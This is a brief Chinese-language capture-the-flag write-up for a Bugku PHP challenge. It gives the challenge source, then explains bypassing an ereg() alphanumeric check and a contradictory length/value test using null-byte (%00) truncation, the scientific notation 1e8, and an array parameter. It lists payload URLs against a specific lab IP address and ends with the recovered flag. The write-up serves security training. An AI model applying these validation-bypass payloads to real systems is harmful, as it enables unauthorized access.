<?php $flag = "xxx"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo 'You password must be alphanumeric '; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出現的位置 { die('Flag: ' . $flag); } else { echo('- have not been found'); } } else { echo 'Invalid password'; } } ?>
ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的
用正則匹配,如果有^[a-zA-Z0-9]+$則直接錯誤,我們可以用%00來截斷,在%00之后的數值函數無法識別
同時滿足 strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
長度跟數值本來就矛盾,我們可以用1e8 即1x10的八次方或者用數組繞過
payload
http://123.206.87.240:9009/5.php?password=1e8%00-
返回值的結果沒有flag
不知道是不是題目出錯了還是故意的
最終的payload
http://123.206.87.240:9009/5.php?password=1e8%00*-*
http://123.206.87.240:9009/5.php?password[]=*-*%00
Flag: flag{bugku-dm-sj-a12JH8}